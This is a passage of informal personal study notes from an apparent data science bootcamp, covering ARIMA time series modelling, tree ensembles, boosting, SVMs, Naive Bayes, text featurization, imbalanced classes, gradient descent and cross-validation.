the second lag actually has little additional correlation.\n - Stationary Time Series:\n - A time series for which the statistical behavior of a set of observations is identifical to that of the shifted set of observations for any collection of time points for any shift h (lag). This is a VERY STRONG ASSUMPTOIN.\n - So the weak stationary assumption is that this holds for the first two moments : mean and covariance (with it self h-lags away). These are less reliant on time.\n - In reality, most time series are not stationary.\n - So how to modify the time-series to improve the approximation of stationarity\n - Detrending - constraint 1\n - differencing - constraint 1\n - transformation - constraint 2\n - These are methods to try to turn nonstationary data into stationary data so we can model it using ARIMA, given the ARIMA asusmptions of stationary data\n - Use Autocorrelation (AC) or partial AC plots to compare the how well each method (detrending or differecing)\n - for deternding, plot the residuals on an autocorrelation plot to see whether you adequately removed autocorrelation\n - So keep examining autocorrelation plots to see whether you've adequately addressed the stationarity assumption using your methods above: deternding, differencing, transformation.\n - IN J&J example, needed to take log, difference and difference the seasonality (every 4th quarter), before we acheived statioarity.\n - NOte, detrending via linear regression may allow us to take into account multiple variables other than time in the modeling (since ARIMA can't do this).\n - Once we achieve stationarity, we take a look at the timepoint where decay is achieved at timepoint k. This will help determine how far back to consider correlation between observations.\n 6. Autoregresive Models :\n - Autoregressive-po models is based on the idea that the present value of the series can be explained as a function of the p past values. So use PACF plot to determine p, see slides.\n 7. Moving Average Model:\n - assumes that white noise is combined linearly to form the observed data.\n - based on prior errors\n - Use ACF plot to determine q,\n 8. Autoregressive Moving Average Model ARMA:\n - So ACF will identify the q parameter\n - PACF will identify the p parameter\n 9. ARIMA :\n - Additionally takes into account for d, the number of differences needed to achieve stationary\n - This then provides the model by whcih you can predict future values (your model can) as a function of x-prior data points and coefficients \n 10. Seasonal differences can also be modeled in S-ARIMA.\n 11. Fit the best candidate models and compare how models perform using AIC or BIC comparison\n 12. After lab learnings:\n A. It sounds like the approach is as follows: view the AC and PAC plots to get a sense of the k-units lag from the PAC (p) and the AC (q) plots.\n B. Next step is to make data stationary: Can play with detrending, but ultimately, it seems differencing is the better technique to try to achieve stationarity of the data. However, be aware of overdifferencing\n - you detrend (often) by fitting an OLS to the data, and plotting ACF, and PACF plots to the residuals\n - second order differencing is the equivalent of a second order derivative of the data\n C. Once you've achieved stationarity of the data via differencing and or detrending, then you need to determine the p and q parameters by looking at the PACF and ACF plots and noting lag.\n - if you notice lag in either PACF or ACF plots, these will inform the remaining parameters p and q respectively in your ARIMA model, based on the number of k-lag days you observe as significant in the plots before they drop within the error bounds.\n - Note that your choice of the seasonality parameter L will seem to (i believe) inform the numbers you choose for d and maybe little p/q, since if L is 7, then a D of 1 I believe suggests a 7x1 differencing that is significant.\n - Less clear on how to pick P/Q relative to p/q and even D relative to d.\n D. Then plug all these parameters into ARMIA and then tune further based on ACF and PACF plots until adequate.\n 4. Time Series Review Moses 7-5-16\n - For the p, partial autocorrelation, you'll only see the lag at that point (ie k=7), in contrast to the autocorrelation where you'll see the lag up TO that k value.\n -\n\n\n\n\n\n160629 Model Comparision summary\n 1. RF :\n - Fast, works well out of the box\n - Sensible feature importances\n - Accurate\n 2. Gradient Boosting\n - More accurate, but requires much more tuning of hyperparameters compared to RF\n - Partial dependency plots can try to get at the interpretability of the relative importance of the features\n 3. Logistic Regression\n - More interpretable\n - Con: Intperetabilty becomes harder with categorical variables and making dummy variables, because everything is with respect to the baseline...even for OTHER variables\n 4. Performance metric:\n - Choose based on priority to your application at hand: ie minimizing false negatives (ie churn), or other.\n - Recall\n - F1\n - Accuracy might have been bad in this situation because of the imbalanced classes (churn was 60%)\n - Accuracy may also be bad if there is a cost imbalance\n 5. Leakage: an example would be somehow leaving target data in a derived variable within the data. Ie calculating churn using last ride taken, and leaving in last ride taken.\n 6. Possible starter paramter ranges for grid search over Gradient Boosting Trees:\n learnign rate 0.1-0.01\n max depth 4-6\n min sample 3,17\n max features 1-0.1\n n_estimators 100\n 7. BIG UNDERSTANDINGS:\n - SSS14 CV and Test Train Split\n - cross validation is generally only ever used with training data. Use this to obtain an estimate of what your test error might be, without ever using your test data (until the very end) to train your model.\n - For grid search and cross_val_score, you only ever need to feed this training data. Never really feed it test data\n - Select best model after you've tuned your parameters by comparing cross_val_score on trainig data only.\n - Once you've selected your best model, THEN you can use that model (with set coefficients) on test data to obtain an estimate of test error. This generates the parameters of accuracy and or other relevant metrics that you can tell others about to describe your model.\n - Then, if desired, you can refit coefficients on the entire data set before using this to predict future data.\n\n\n\n160629 Michelle Career lecture\n 1. Resume ideas:\n Programming: Python, Pandas, Numpy, Scipy, sklearn, NLTK\n Visualization: Matplotlib, seaborn, plot.ly\n Databases: SQL, MongoDB\n Distributed Systems: Spark, MapReduce,\n\n\n160628 Intro to Natural Language Processing\n 1. Methods to featurize documents of text\n A. Bag of words: create a vector of word counts, regardless of punctuation, capitaliation\n - Order of words matter here\n - sklearn has a vectorizer fnction for bag of words\n - once documents have features vectorized, can compare documents\n - using euclidean distance, you look at vector-distance, which may not make intuitive sense in the sense of a vector of different length but pointing in the same direction\n - cosine similarity : looks at the direction of the vectors rather than length/distance. thus this is often a more useful classifier.\n - SSS8 Cosine similarity\n - Bag of words is naive, just word counts, with equal word having equal weighting. Sense that word counts should be adjusted based on frequency.\n B. \"TF*IDF\" : Term Frequency, Inverse Document Frequency:\n - Words in only in one document (rare), have higher weighting. Words found in every document have lower weighting.\n - Note, similar in equation to information/entropy from classification trees: ln(1/p).\n - Basically rank words based on amount of information gain\n - SSS9 Inverse Document Frequency\n - Often more useful than bag of words, sklearn has tfidf vectorizer\n C. Feature Engineering for text\n - Tokenize (to turn words into their category, perhaps changing posessives to original word, expanding contractions aren't to are not etc)\n - Remove stop words: removing words offering less information such as \"the,\" there are standard lists of stop words.\n - Stemming : walked -> walk\n - Lemmatizing: people -> person. There are standard lemmatizers\n - N-grams: tokenizing several words together: \"the cat\", \"cat in\". Serves to expand the feature space. Takes into account word proximity\n - Skip Grams: does N-grams, but skips x words. So categorizes proximity of words.\n - Dependency/probabalistic parsing: takes into account word dependencies on each other, some grammatical/syntactic associations between words\n\n160628 Naive Bayes Lectures\n 1. Maximum A Posteriori : predicts the outcome most likely under the posterior distribution.\n - Given a prior distribution P(H), and the likelihood of observing some data X across a set of hypotheses, we predict the hypothesis that maximizes the probability of P(H given X).\n - Since P(X) does not depend on the hypothesis, MAP estimation works by maximizing the numerator P(X|H)xP(H). \n - SSS7 Maximum A Posteriori\n - Conditional independence only holds between events A and B when C is true. It is a key assumption about the features in the Naive Bayes Model. A and B are not independent when C is not true.\n - Bayes is a Generative model:\n - Prior models are discriminative model, estimating the conditional distribution P(Y|X).\n - Generative models: estimates the joint distribution of P(Y|X) and P(X). So in addition to estimating the distribution of the target, is also estimates the population distribution of the features X.\n - This estimated joint distribution allows us to generate new synthetic data by sampling from the join distribution.\n - Naive assumption of Naive bayes: that each of the features are conditionally independent given Y. Though this is not always true, this does not generally change the MAP estimate.\n 2. Applying Naive Bayes to Document classification\n - Multinomial event model. Assumes that a category of ie book type have a higher probability of predictors ie words, than other types.\n - The Prior Distribution is estimated from a sample or corpus of documents. The probability of any class is estimated to be those from the sample population.\n - The conditional distribution represent the frequency of each vocabulary word in each class of document. Estimated by counting number of times a word shows up in a given class, divided by the total length of documents in that class. (So frequency of words in a give class of document).\n - The naive bayes model for text classification is the product of the conditional probabilities of each word given a type of document and the probability of that document (the product over all words). And the hypothesized document class that maximizes this probability is what is predicted by the Naive Bayes model.\n - Risk of numerical underflow. Since each probability in Naive Bayes for a given document (ie 2000 words) is small, there is a risk that each probability is too small for a computer to easily represent.\n - Log transformation of the probabilities can get around this.\n - Laplace Smoothing. Sometimes new words are found in the test set did not appear in that class of the training set. Thus, the solution is to add 1 to each word's frequency, to get around this.\n - Unknown words: If a new words was not seen in any class throughout the trainign set, this can also cause a problem. Can add a generic unknown word to the vocabulary and give it a small probability.\n - In theory, can also use a number of distributions for Naive Bayes.\n - Naive Bayes Pros:\n - Good with wide data, with more features than observations.\n - Fast to train, and good at online learning\n - Simple to implement.\n - Cons:\n - Can be hampered by correlated features\n - Probabalistic estimates are unreliable when class estimates are correct given the naive assumption.\n - Some other models can perform better, with better accuracy.\n\n\n160627 Web Scraping\n 1. NoSQL databases\n - Not Only SQL: MongoDB is a flavor of NoSQL.\n - NoSQL paradigm is schemaless, which is an advantage in some cases\n - MongoDB is a document-oriented DBMS\n - Collections in Mongo are like dictionaries in python\n - JSON Javascript Object Notation, formalized formatting for their objects/dictionaries.\n - Can have data redundancies in documents (non-normalized data), as Mongo does not enforce normalized data\n - A change to database generally results in needing to change many documents\n - Since there is redundancy, simple queries are generally faster, but complex queries are often slower.\n\n\n\n\n160624 Chat with Michelle\n\n- To get valuation, ROT is to multiply seed amount by 5 (ie they got 20% of the company’s total estimated valuation)\n- For A round, can multiply by 3-4, ie investors got 25%-30% of the company.\n- But basically try to ask for the actual valuation or preferred share stock price to to calculate tax burden.\n\n\n160624 Imbalanced classes\n--> Ways around it:\n 1. Cost sensitive learning\n - Thresholding: plot expected profit over each threshold, then can select the threshold with the highest profit\n - Some models have explicit cost functions that can be modified to incorporate classification cost\n - less frequently used\n 2. Sampling methods\n - Undersampling: randomly discards majority class observations\n - Works, and can reduce runtime on large datasets, but discards potentially important observations.\n - Oversampling: randomly replicate minority class observations to balance the training sample\n - Doesn't discard information, but is likely to overfit.\n - SMOTE : Synthetic Minority Oversampling Technique: Generates new observations from minority class.\n - Basically takes a random KNN of the minority class\n - In the imaginary x1-x2 (can be extended to x-i) grid space for the two selected points, it will generate a random point somewhere between those two points, varying on all features x1-xi.\n - Create x amount of these points to \"oversample\" the minority class.\n - CV to tune the k value of KNN for smote\n - Sort of assumes minority class points are clustered near each other, and can run into problems when they are not.\n - If minority class points are also clustered around the majority class points, ddthe SMOTE procedure could definitely weaken the ability to classify.\n - So there are certainly limitations with this method\n 3. Review of Metrics\n - F1 score: harmonic mean of precision and recall\n - ROC: If you know cost/benefit matrix, or a specific target precision/recall don't use AUC, since you can choose threshold to maximize PROFIT or those specific metrics.\n - AUC is more useful when exploring models to choose the best one\n\n\n160623 Boosting\n 1. Bias Variance Tradeoff:\n A. For regression trees:\n - Decrease bias by building deep trees\n - Decrease variance by using bootstrapped datasets such as in bagging, limiting features available at each node, pruning the tree, and majority vote ensembeling votes from various trees (averaging across trees decreases variance)\n B. Test methods of decreasing bias or variance by CV\n - In bagged decision trees, can use out of bag estimation to try to estimate external generalizability.\n 2. Boosting Big Picture\n A. Attempts to make certain trees \"become experts\" in certain aspects of the data\n B. Boosting combines a sequence of weak learners to form a strong learner. Force it to be weak by limiting how deep it can be.\n C. Each tree learner fits error from the prior learner. Thus its an additive model of weak learners. \"Forward stage-wise additive modeling\"\n 3. Ada Boost \"Adaptive Boosting\"\n - Each tree is expert on attacking error of its predecessor. So upweight misclassified points.\n 4. Gradient boosted regression trees\n - Each successive tree fits to the residuals of previous tree.\n - Therefore each subsequent tree truly becomes an expert in the errors of the prior tree\n - And the final prediction is an additive sum of the \"prediction\" for each tree.\n - Gradient Boosting SSS1.\n - The weight beta-m is the sum of the predictions of trees, the weight is higher for later trees, since they can\n - Note this is prone to overfit, since we're fitting to the errors of prior trees. So use CV to determine when to stop.\n - Shallow trees are higher bias, lower variance models. (High bias since shallow, low variance because if we took another sample of data from the population, another 3 split tree would look similar)\n - So by limiting sequential trees to 3 splits, you effectively hone in on the highest error regions of the prior tree, making splits that decrease error (MSE) the most for any given tree.\n - ??What if we bag boosted models?\n - Random forest lends itself for running on parallel computers or cores on a computer. Sequential tree methods such as Gradient Boosting or AdaBoost can not take advantage of parallel processing.\n - In a Random Forest, as you build more trees, the test error should decrease and eventually level off. In Boosting, as you build more trees, the test error should decrease and level off, but then increase if you boost too much. However sklearn describes that GB is fairly robust to overfitting (ie test error increasing)\n 5. Parameter tuning\n - Could set a shrinking learning rate, \"SHRINKAGE\", meaning that we'll only apply 20% of what each subsequent tree suggests to do. Can prevent over fitting.\n - This will require higher n_estimators/trees, because it by definition learns much slower.\n - Ultimately will lead to lower test error with shrinkage. But requires more trees to get there.\n - Since this generally works: so one strategy is to tend to pick the max number of computationally possible trees to make (given time) and search over several hyperparameters discussed here via CV.\n - one of the hyperparameters will be learning rate\n - Parameter tune tree structure:\n - Max depth: controls degree of interactions between variables; often not larger than 4-6\n - Min samples per leaf: limits overfitting\n - Number of trees should also be tuned, because if you have too many, test error tends to increase, due to overfitting\n - Note that the SHRINKAGE parameter (learning rate in GB) is very important, and if not included (ie for stochastic gradient boosting below), can lead to unstable estimates because full votes from subsamples tend to go in a worse direction. so need to limit their vote\n 6. Stochastic gradient boosting\n - So fit to a fraction of the total data at each step\n - Also fit a random subsample of features (like random forests)\n - In Sklearn's implementation of gradient boosting, max_features limits the features space explored for best split at each node.\n - These two techniques lead to both improved accuracy and decreased computational time\n - Often need to ensure a Shrinkage parameter for these to work.\n 7. sklearn.grid_search\n - input dictionary of hyperparameters and a list of their options.\n - Will cross-validate search over permutations of parameters and return the best combinations of parameter.\n - SKlearn recommends: setting n_estimators as high as possible (3000,5000)\n - Tune all hyperparameters via grid search\n - Further optimize n-estimators and learning rate\n - Can review Rs's gbm package documentation\n - You must tune the model to get good performance\n 8. Diagnostics\n A. Ways to infer feature importance from black box models\n - Partial dependency plots\n - Take your feature/variable x1 you want to study. Change all data points x1-i to x1-j to values x1i through j sequentially. IE CHANGE ALL VALUES to x1-i once, then X1-i2 once etc.\n - record the predicted output y of your model\n - then can generate a plot for a given feature of how your model predicts y to change based on numeric changes of feature x1.\n - can repeat for all features and obtain a sense of the importance of each feature in your model. ie some inferential power.\n - can also do partial dependence plots for 2 variable interactions. to try to see if there is interaction by slope of plane?? not sure\n - Variable importance measures\n - Recall we discussed for bagged/RF trees, decrease in RSS for a given predictor averaged over all trees. Or change in Gini index for a given predictor, averaged.\n - Sensitivity analysis, where you sequentially change the value of a feature and see response change (similar to partial dependency plots)\n 9. AdaBoost\n - Significance of a given tree to the final model is weighted by the amount of error it demonstrates.\n - So it effectively upweights trees that perform better, whcih will be later trees in many cases.\n - error is defined as the number of mis-classifications over total predictions\n - AdaBoost Formula SSS2\n 10. XG Boost\n - For every given feature, keep only the percentiles of that feature, which greatly reduces the space over which the algorithm needs to decide where to split.\n - but you still keep all observations of the data.\n - so you get computational speed gains to grow a tree\n - This serves as a form of regularization, resulting in a slightly less complex model and less variance.\n\n\n\n\n\n ```\n ***MAKE A DECISION TREE OF THE HIERARCHY OF TREE BASED METHODS, FROM DECISION TREE TO BAGGING TO RANDOM FOREST TO BOOSTING. TO BEST UNDERSTAND THESE METHODS\n ```\n\n\n\n ???max depth in boosting decreases variance?\n ???review tree HIERARCHY\n ???stochastic gradient boosting defined by max features and subsample only?\n\n\n\n\n\n160622 Liga Data lecture\n 1. Perform sensitivity analysis (change values of each data point for each variable and see the effect on output) to help determine the most important features. See sensivity_analysis on wiki. OFAT\n 2. Concept of Dependent by Category DBC:\n - Of the top 10 or so variables, systematically create hierarchical interactions.\n - Maintain a matrix of the calculation of the importance of each of the interaction variables (ie via sensitivity analysis method above)\n - This can often help identify the most important features for a model (the interactions), since the important interactions will often be from the most important features (independently) and aren't too deep (one or two, rarely 3+)\n - Can also update the matrix when new data comes in to perform a model \"refresh\" rather than a full retrain. Not sure, but this may also help to allow selection of other interactions based on the new data, by comparing the pre-post performance of the interactions performance on your matrix\n - Can help with a model in production to refresh faster without too much investment of time/effort\n 3. The larger the gap between training and test performance suggests worse generalizability of the model. So try to create a gap-adjusted performance metric to account for this. Want models to be generalizable, so don't just consider test performance\n 4. http://dmg.org/ for a list of pmml data mining software, analysis methods and pmml compatability, which can help with production, since pmml is a portable code standard?\n\n\n\n160622 Support Vector Machines\n 1. Support vector classifier\n - need to scale data\n - known as a \"maximal margin classifier\"\n - works based on defining a hyperplane to the data (only works with perfectly separable data) which has a normal vector w.\n - The dot product of the normal vector w with unknown point u: if the sign is positive or negative, it will classify the point to one side or the other of the hyperplane.\n - In order to make the hyperplane most generalizable, you want to maximize the distance between the nearest points and the hyperplane.\n - Do this by setting up a margin around the hyperplane and this effectively is a constraint.\n - How to you optimize an equation with a constraint? Several ways but LaGrangian? is one way. \n - Essentially we want to solve for w, which defines the orientation of the hyperplane, whcih is the important part.\n - b defines the distance of the hyperplane from the origin (constant? for a given plane).\n - So the optimization equation solves for alphas, relative to y (labels) and x's (points).\n - alpha goes to zero for all NON SUPPORT vector points. Therefore in w = sum(alpha-i, y-i, x-i), alpha is only relevant for the points closes to the line/margin.\n - The solution for alphas allow you to solve for w (normal vector of the hyperplane) with the equation above.\n - Since x's and y's only matter for support vector points (since alphas for all other points go to zero), SVC can be a CONCISE REPRESENTATION of a large data set.\n - The optimization equation, however, is hard/slow to solve. Which is a limitation.\n - There are inherent properties of SVT which limit overfitting\n - SVMs shine with moderately sized data, given its benefits, discussed below, but is slow/less optimal for very large data sets.\n 2. Slack variable\n - Adding a slack variable which establishes a \"budget\" for how many points can be on the \"wrong\" side of the margin. Slack variable is \"squiggle\" in the lecture.\n - This allows for SVC to function with (real world) non separable data\n - Do this by changing the hyperparameter C in SVC in sklearn, which denotes the cost function. The smaller it is, the wider the margins are. The larger it is, it will converge on the smallest road\n - All points within the margin are now considered support vectors\n - Since w = sum(alpha * xi * yi), as the margins change, and different numbers of support vectors are used, the slope of the dividing hyperplane will change, since the slope is determined by the normal vector w.\n 3. Kernals:\n - Kernals allow us to get the result of the dot product of vectors after being transformed to a higher dimensional space without needing to know what the transformation is.\n - the kernals transform vectors to an \"infinite dimensional\" space. thus it is possible to find a boundary that classifies any point, in theory.\n - In other words, it allows us to fit SVCs to very non-linear boundaries to classify data.\n - Note that it is possible to overfit data using this, ie drawing a boundary around every single data point = not generalizable.\n - Kernals most often used are: linear, polynomial of degree d and radial basis function (gaussian) 'RBF'\n - RBF is the commonly used kernal though prone to overfitting\n - As you increase gamma (in SVC in SKlearn), the variance around each boundry decreases (more likely to overfit)\n - As C increases, model tries to not get points wrong or misclassified, so again, more likley to overfit.\n - A Grid Search: calculate validation accuracies (crossvalidation) for changing C and gamma hyperparameters, to identify the optimal values of the hyperparameters\n 4. For multiple classes, create an SVM model for one versus all or pairwise (one versus one, pairwise).\n -Then predict based on majority vote based on all the models\n\n\n160621 Random Forest\n 1. Review of Decision Trees\n - In regression trees, the tree effectively performs axis-parallel splits, cordoning off the data into regions defined by lines parallel to the (x,y,z etc) axis.\n - This is inherently different from linear regression models which speak to their strengths in some settings\n - How to regularize decision trees: Pre and post pruning\n - Post pruning; after fitting trees deeply, decide threshold to prune back tree. - Ie one threshold is to prune back to minimum of data in a terminal node > the p available features\n - Pre pruning: define a penalty term alpha where alpha * abs(#terminal nodes) is a penalty term added to the MSE, and minimize this equation. Cross validate to determine alpha. ** This is used most commonly **\n - * However, ensemble methods to build trees ie random forest will almost certainly do better than either pre/post pruning *\n - Recall that in classification trees, chose an error metric such as Gini or Entropy error functions, both of which perform very similarly. In regression trees, use RSS to calculate information gain.\n - Making predictions, at each terminal node, for regression: predict using average. For classification: predict the most commonly occurring class.\n 2. Pros and Cons of decision trees\n - Pros: how we think, easy to explain\n - Cons: tend to overfit--do not strike balance of bias/variance tradeoff well, computationally intense\n - Variance of a deep tree is high (since a second set of data produced from the same distribution will likely perform poorly); ie doesn't generalize well. Though bias is low for the training data (ie fits training data well)\n - Less deep trees have higher bias\n 3. Bagging: Bootstrap AGgregatING \n - growing a lot of trees and adding them together, which can serve to average away the variance (CLT)\n - Use bootstrapping such that trees grown will be slightly different (since data is slightly differet). Becaues otherwise, tree growing for a given set of data is deterministic, ie would make the same tree over and over.\n - Inherently paralellizable, can have multiple cores/computers building a set of trees\n - Recall that in each bootstrapped sample, 2/3 of the features are shared between the different trees grown from different boostrapped samples.\n - Out of bag error: side-effect of building model from boostrapped sample is that you have 1/3 of the data not used for each bootstrapped sample that can be used for test-error estimation (ie an inherent validation set).\n - Can use the 1/3 data and evaluate them using the trees not grown from that boostrapped sample.\n 4. Random Forests:\n - BUILDS ON BAGGING: so you still take bootstrapped samples of the data (typically the same number of samples as the original data set).\n - At each split, consider a random selection of m predictors at each split, in each tree. Typically n = sqrt(p). Ultimately tune p this with cross validation.\n - Leads to decorrelation of the trees, which leads to improved performance over bagging. \n - BIG IMPROVEMENT>>>> THIS Serves to decrease variance of the total model.\n - RF Bias Variance SSS4\n - As you build more trees in RF, bias stabilizes and variance asymptotically declines. Thus it is better to build as many trees as possible. The real limitation is computational time. And there is ultimtely a point beyond which growing more trees is essentially futile. So test for this via CV.\n A. Feature Importance\n - How to determine?\n - Frequency of use as a split feature?\n - Record total amount of RSS decrease (or Gini index) for a given predictor averaged over all B trees. Larger value indicates importance.\n - To evaluate the importance of the jth variable, record OOB accuracy of the model. Then shuffle (permute) all values of the jth variable across all the samples. Re-compute the accuracy. The lower it gets, the more important the jth variable was. Repeat for each var and rank the importance of the var.\n - Other ways (Sklearn methods): higher in the tree, or the expected fraction of data points that reach a node are both surrogates\n B. Bias Variance Tradeoff\n - Since variance is proportional to pairwise correlation p, and inversely proportional to the average of B-trees made in a RF, the RF procedure serves to decrease variance by averaging over B trees. p goes down and B goes up.\n - Variance RF = p * six^2 + ((1-p)/B) * sig^2\n - Information Gain SSS3\n - SSS6 Bias Variance Tradeoff\n - Averaging over many RF trees serves to decrease variance of the model.\n C. Tuning\n - Hyperparameter: parameter set ahead of time, what the structure of the model is. It is not learned by the model to achieve best fit. Often choose them via cross validation.\n - hyperparameter in RF is m, describing how many features are (radomly) available at each node when building each tree of the RF.\n - Select via CV\n - You can test several hyperparameters via CV, but RF has very many ~14, so adding each becomes more complicated. So likely need to decide some using heuristics like: for classification m= sqrt(p) or regression m= p/3.\n - Note that tree depth (another hyperparameter for RF), if too deep, RF can overfit.\n - Can use Feature Importance techniques above to try to select features of greatest importance to include when building trees. Becomes an issue if m is small, then this leads to decorrelated trees (good for low variance), but if unimportant variables >> important variables, model will not learn. Again, reinforces why important to tune m via CV which should identify this.\n - Seems like the above also seems to be augmented if number of trees grown is low relative to number of features.\n D. Other Issues\n - Can weight predictor classes using a user-specified loss matrix. Ie certain pieces of information are more important or prefer to err on false positive etc.\n - Missing data: many ways to deal with it. But consider setting to nonsensical value so you don't include \"false\" data in model.\n - Note, can use cross-validation to determine best way to deal with missing data from several candidate methods\n - Random forest lends itself for running on paralell computers or cores on a computer. Sequential tree methods such as Gradient Boosting or AdaBoost can not take advantage of paralel processing.\n\n\n160620 NonParametric Learners\n 1. K Nearest Neighbors\n - Sort the training points x by increasing distance from new point\n - predict the majority label of the k closest points; select k as a hyperparameter based on experimentation or prior knowledge.\n - if k is too small, tend to be overfit (model doens't generalize well), if k is too large, will be insensitive. the extreme case is that if you use the entire population n as k, you will always predict the majority class\n - general rule, can start with k = sqrt(n)\n - important to SCALE features, since we're calculating the distance between the features, we need to have them on the same scale, otherwise, that with the higher range will dominate the distance equation, making the other feature irrelevant.\n - Can implement weighted voting, where closer points are weighted more\n 2. Problems\n - The curse of dimensionality: knn works well for lower dimensional spaces, but as d>5, becomes more problematic. Becuase the nearest \"neighbor\" become far away in many dimensions.\n - Predicting can be slow\n - Difficulty with imbalanced classes\n - Can consider weighting or sampling schemes to counteract this. Ie in a fraud detection case where you have 0.1% of the sample as fraud instances, and the rest are valid instances, you can downsample (randomly) the valid cases when training your model.\n - categorical features don't work well\n 3. Decision Trees\n - Calculate the entropy of the dataset at the root node, \"before the first split.\"\n - Perform a split of the data on every available feature (x), and calculate the entropy before and after. The Information Gain is entropy before - after. Then choose a split based on the highest information gain.\n - H(S) \"entropy\" = - Sum of probability(S) * log 2 probability(S)\n - Information gain = H(S) - sum\n - This method is top-down and greedy, making a decision based on the best information available at the time.\n - note that the \"greedy\" quality may mean that you do not make the decision that optimizes the overall performance. Will not revisit split decisions.\n - Gini index: another splitting measure similar to the entropy equation.\n - sum(probability(S)(1-probability(S))\n - The misclassification rate is also available in sklearn, but has a linear slope up to the maximum of 0.5, so in practice does not work as well as gini or entropy.\n 4. Pros cons\n - The tree will fit every single observation, so it will have a tendency to overfit the data\n - Prune the true to address overfitting (in sklearn): min leaf size, max depth, purity (data points of the same class), gain threshold\n - if you use decision trees, you must prune the model; though practically speaking, we use ensemble tree methods (random forests) so pruning is not really necessary\n - Pros: low bias, simple to understand/interpret, nonparametric and non-linear, computationally easy to predict, deals with irrelevant features, works with mixed features\n - Cons: High variance, computationally expensive to train, greedy algorithm\n 5. Cost Complexity pruning\n - Since decision trees will tend to overfit, a way to avoid this is to prune back the tree. One way is by cost-complexity pruning, which selects a tuning parameter alpha penalizing the subtree's complexity and fit to the training data.\n - Often, select alpha via cross validation, comparing the mean squared prediction error via cross validation for each alpha. Pick the alpha to minimize average error.\n - Then return the sub-tree for the chosen alpha.\n 6. Both CLASSIFICATION tree and REGRESSION trees can be built.\n - The RSS is used as a measure of \"information gain\" with each split of a regression tree (continuous outcome).\n - the Gini Index or \"Cross entropy\" equations are used for classification trees, whcih basically classify the error rate before and after a given split (correlating with information gain), therefore allowing decision on what is the most \"informative\" split at a given node.\n - Tree methods can outperform linear regression when there is a highly non-linear and complex relationship between the features and the response.\n\n\n160617 Gradient Descent\n 1. Optimization\n - Find the min or max of a function: maximize likelihood or minimize square distance\n - Machine learning methods rely on optimizing a \"cost function\". Cost functions are the mathematical definition of your machine learning goal.\n - Intuition for gradient descent: If you take a guess and pick a point on the curve. You can calculate the derivative of the function from that point ( or the derivative as suggested by picking two close-points), you can then see the direction of the derivative. Depending on if you're maximizing/minimizing the function, you move in the respective direction based on the derivative, check it again at the next point until your derivative is near zero (which represents a maxima or minima).\n - The \"gradient\" is defined as the sum of the partial derivative of multiple variables. This is actually what you calculate in the above scenario for multiple variables.\n - the gradient points in the direction of steepest ascent\n - the gradient is in the direction of the steepest ascent. The gradient points upward, so we descend down the gradient\n - in gradient descent, follow the line of the steepest descent on the cost surface to find the minimum\n - Per iteration through features of the model, you update the parameters simultaneously with respect to that gradient. In other words, you calculate the gradient once per iteration.\n - NB: Gradient descent does not work with LASSO, since not differentiable given absolute value cost function\n - Requires differentiable and convex cost function\n - Only finds global optimum on globally convex functions\n - Convergence asymptotically\n - Choices of convergence criteria: max number of iterations, change in cost function, magnitude of gradient\n - Performs poorly without feature scaling. Since if higher varaince for some variables, may take extra time. Can scale features back once optimization is performed\n 2. Stochastic Gradient Descent\n - Use a subset of data\n - SGD computes cost function using a single, different randomly chosen observation per iteration. On average, it achieves the same as GD, but may have more variability\n - SGD actually converge faster on average than batch GD, can oscillate around the optimum\n - SGD generally requires less memory and computation and is faster, so is generally preferred. \n\n\n160616 Logistic Regression\n 1. Accuracy is the percent of observations correctly classified (TP+TN)/n\n - However, imbalanced classes will inflate accuracy\n - Doesn't reveal what kind of errors are being made.\n - Precision: True positives over those who were classified as positive.\n - F1 score (or F beta score) is a weighted harmonic mean of precision and recall. Rewards balanced precision and recall, rather than if it is unbalanced (if one is higher than the other).\n - ROC Curve, plotting true positive rate and false positive rate.\n - Area under the curve.\n - SSS5 Classifier Metrics\n -SSS15 ROC Curve Sensitivity and Specificity\n\n\n\n160615 Cross Validation Regularized regression\n 1. Bias variance tradeoff\n - A biased model centers around the incorrect solution. Bias can result from underfitting or from collecitng data poorly\n - High variance in the model can be caused by overfitting or by insufficient data\n - A model's expected squared prediction error will depend on the variability of y, and the variability of the training set used to train our model.\n 2. Cross Validation : helps to choose the best model that performs well on unseen data\n - Split data into training and validation sets\n - We use cross valiation in order to get a sense of the error. However, build the final model on all of the data.\n - Leave one out cross validation: build n models on n-1 data points and calculate MSE on 1 remaining data point. Computationally expensive and high variance since the tests are so small. So large variance in the error.\n - Medium between LOOCV and 1 fold CV is k-fold CV, below.\n - Use training set to train several models of varying complexity\n - Then evaluate each model using the validation set: R2, MSE, accuracy etc.\n - Keep the model that performs the best over the validation set\n - As you increase complexity of the model, MSE of the training data will go to zero.\n - but this will also increase the MSE of the test data.\n - So you want to choose the optimal model complexity that optimizes test MSE, while maintaining the most parsimonious model.\n 3. k-fold Cross Validation:\n - Randomize data set into k groups, train using k-1 folds.\n - Validate using the left out fold and record the validation metric for each validation such as RSS or accuracy\n - Average the validation results.\n - By increasing the number of folds, you decrease the variability of the mean squared prediction error of the model by averaging over the folds.\n * SO PRACTICALLY SPEAKING we often use cross-validation during model BUILDING: to optimize hyperparameters such as lambda in LASSO or Ridge, or to compare different versions of models. Once the model is built, we often FIT the model to the entire TRAINING data set, to fit the coefficients, and then compare performance on the TEST data set.\n 4. To prevent model fitting due to too many features:\n - Metrics to compare models\n 1. R squared is 1 - (MSS/TSS), 0 = awful, 1= awesome.\n - R2 essentially is the ratio of the sum of squared errors for the fitted model versus the null model with the null model predicting the average of the target (true) value, regardless of predictors.\n - However R2 will increase as you increase parameters, making it a poor comparator between different models.\n - R squared increases as you increase predictors, so can't really be used to compare between models.\n 2. Adjusted R2 penalizes for number of predictors, making it a better comparator of accuracy between models. (n-1) / (n-p-1)\n - However Adjusted R2 tends to under-penalize complexity\n 3. Information Theoretic Approaches: AIC, BIC\n 4. Test, training set. Compare test set error between models.\n 5. Cross validation. Average test error across all k-folds, and compare this between models of interest.\n - Cross validation makes no parametric or theoretic assumptions\n - Given enough data, can be highly accurate. is conceptually simple.\n - Cons: can be computationally intensive, if fold size is low, can be conservatively biased.\n\n\n\n - Subset selection:\n - Best subset: try every model combination and pick the best model (computationally intensive)\n - Stepwise: iteratively pick predictors to be in and out of model.\n Forward/backward stepwise selection.\n - Test between model candidate built by stepwise: AIC, BIC, Adjusted R2, Mallows C. Or can use CROSS VALIDATION\n - Better NOT TO USE RSS or R2.\n - Mallows Cp: Increases penalty for each parameter included. So needs to reduce the RSS faster than the penalty term\n - AIC, BIC, Adjusted R2 have similar rationale as Mallows Cp.\n - AIC/BIC are available across the gamut of parametric models, so these are 